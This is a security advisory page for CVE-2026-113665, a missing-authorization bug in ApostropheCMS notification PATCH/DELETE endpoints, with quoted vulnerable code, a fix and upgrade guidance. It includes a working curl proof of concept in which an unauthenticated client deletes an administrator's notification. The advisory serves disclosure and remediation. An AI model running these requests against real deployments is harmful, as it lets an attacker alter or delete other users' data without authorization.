CVE-2026-113665: ApostropheCMS: Missing Authorization on Notification PATCH/DELETE Endpoints

Published Oct 20, 2026
·
Updated

Summary

The notification module exposes PATCH and DELETE REST endpoints that perform operations directly on the underlying MongoDB collection without verifying that the requester is authenticated or owns the target notification.

As a result, an unauthenticated attacker who obtains a valid notification ID can modify or permanently delete another user's notification.

---

Affected Code

File

text packages/apostrophe/modules/@apostrophecms/notification/index.js

javascript // restApiRoutes async patch(req, id) { const dismissed = self.apos.launder.boolean(req.body.dismissed);

if (dismissed) { await self.emit('beforeSave', req, { id, dismissed });

await self.db.updateOne( { id }, { $set: { dismissed }, $currentDate: { updatedAt: true } } ); } },

async delete(req, id) { await self.db.deleteMany({ id }); }

Unlike the GET notification route, these handlers do not verify:

- Authentication (req.user) - Ownership (userId === req.user.id) - Authorization or permissions

Instead, the supplied id is used directly against the raw MongoDB collection.

---

Root Cause

The notification REST endpoints perform database operations directly using self.db without enforcing authentication or authorization.

While the framework provides permission primitives (req.user, ownership checks, and apos.permission), these endpoints never invoke them. As a result, any request reaching these handlers is processed solely based on the supplied notification ID.

For comparison, the GET notification route correctly checks:

javascript if (!(req.user && req.user.id)) { throw self.apos.error('invalid'); }

No equivalent validation exists in the PATCH or DELETE handlers.

---

Proof of Concept

1. Log in as an administrator

bash curl -sS -c admincookies.txt \ "http://localhost:4321/api/v1/@apostrophecms/login/context" \ -o /dev/null

curl -sS \ -b admincookies.txt \ -c admincookies.txt \ -X POST \ http://localhost:4321/api/v1/@apostrophecms/login/login \ -H "Content-Type: application/json" \ -H "X-XSRF-TOKEN: csrf" \ -d '{ "username":"admin", "password":"AdminP@ssw0rd123!", "session":true }'

---

2. Create a notification

bash curl -sS \ -b admincookies.txt \ -X POST \ http://localhost:4321/api/v1/@apostrophecms/notification \ -H "Content-Type: application/json" \ -H "X-XSRF-TOKEN: csrf" \ -d '{ "message":"manual verify test", "type":"info" }'

Example response:

json { "noteId":"p358r7phi2w8l245ww5130uf" }

---

3. Verify the notification exists

bash curl -sS \ -b admincookies.txt \ "http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf"

Response:

json { "notifications":[ { "id":"p358r7phi2w8l245ww5130uf", "userId":"i89h844o5n3nbreis0ugusum", "message":"manual verify test" } ], "dismissed":[] }

---

4. Access the endpoint without authentication

Create a fresh cookie jar containing only the public CSRF cookie:

bash rm -f anoncookies.txt

curl -sS \ -c anoncookies.txt \ "http://localhost:4321/api/v1/@apostrophecms/login/context" \ -o /dev/null

Then send the request without any authenticated session:

bash curl -i \ -b anoncookies.txt \ -X DELETE \ "http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf" \ -H "X-XSRF-TOKEN: csrf"

Response:

http HTTP/1.1 200 OK

---

5. Verify the notification has been deleted

bash curl -sS \ -b admincookies.txt \ "http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf"

Response:

json { "notifications":[], "dismissed":[] }

The notification belonging to the authenticated administrator has been successfully deleted by an unauthenticated client.

---

Impact

An attacker who obtains a valid notification ID can:

- Delete another user's notifications. - Mark another user's notifications as dismissed. - Suppress security-related or administrative notifications.

The vulnerability primarily affects integrity.

Although notification IDs are generated using CUID2 and are not practically guessable, authorization must not rely on identifier entropy. Any separate information disclosure vulnerability or log exposure that reveals notification IDs would make this issue directly exploitable.

---

Recommended Fix

Require authentication before processing any modification request.

Additionally, scope all database operations to the authenticated user.

Example:

javascript // patch async patch(req, id) { if (!req.user) { throw self.apos.error('forbidden'); } const dismissed = self.apos.launder.boolean(req.body.dismissed); if (dismissed) { await self.emit('beforeSave', req, { id, dismissed }); const result = await self.db.updateOne( { id, userId: req.user.id }, // <-- ownership check { $set: { dismissed }, $currentDate: { updatedAt: true } } ); if (!result.matchedCount) { throw self.apos.error('notfound'); } } }, // delete async delete(req, id) { if (!req.user) { throw self.apos.error('forbidden'); } const result = await self.db.deleteMany({ id, userId: req.user.id }); if (!result.deletedCount) { throw self.apos.error('notfound'); } }

Similarly, update the PATCH handler to verify both authentication and ownership before updating notification records.

---

Recommendation

Every notification modification endpoint should:

- Require authentication. - Verify ownership (userId === req.user.id). - Return 403 Forbidden for unauthorized requests. - Avoid performing database operations solely using a user-controlled id.

The same authorization checks should also be applied to any internal helper methods (such as dismiss()) that modify notification state.

Other sources

ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, the notification module exposes PATCH and DELETE REST endpoints that perform operations directly on the underlying MongoDB collection without verifying that the requester is authenticated or owns the target notification. As a result, an unauthenticated attacker who obtains a valid notification ID can modify or permanently delete another user's notification. This issue is fixed in version 4.33.0.

— MITRE

Affected Software

2 affected componentsFixes available
Apostrophe Technologies ApostropheCMS<4.33.0
npm/apostrophe<4.33.0
4.33.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/apostrophe to a version that resolves this vulnerability.

    Fixed in 4.33.0
  2. Upgrade

    Upgrade ApostropheCMS to a version that resolves this vulnerability.

    Fixed in 4.33.0

Event History

Oct 20, 2026
CVE Published
via MITRE·05:19 PM
Data Sourced
via MITRE·05:19 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:17 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·06:25 PM
Data Sourced
via GitHub·06:25 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Who is exposed to this issue?

ApostropheCMS deployments running versions before 4.33.0 with the notification module's PATCH or DELETE REST endpoints reachable over the network are exposed. An attacker does not need to authenticate, but must obtain a valid notification ID.

2

What can an attacker do with a valid notification ID?

They can modify or permanently delete another user's notification through the affected PATCH or DELETE endpoints. The issue affects notification integrity; no confidentiality or availability impact is described.

3

What version fixes the issue?

Upgrade ApostropheCMS to version 4.33.0, which fixes the missing authorization checks.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203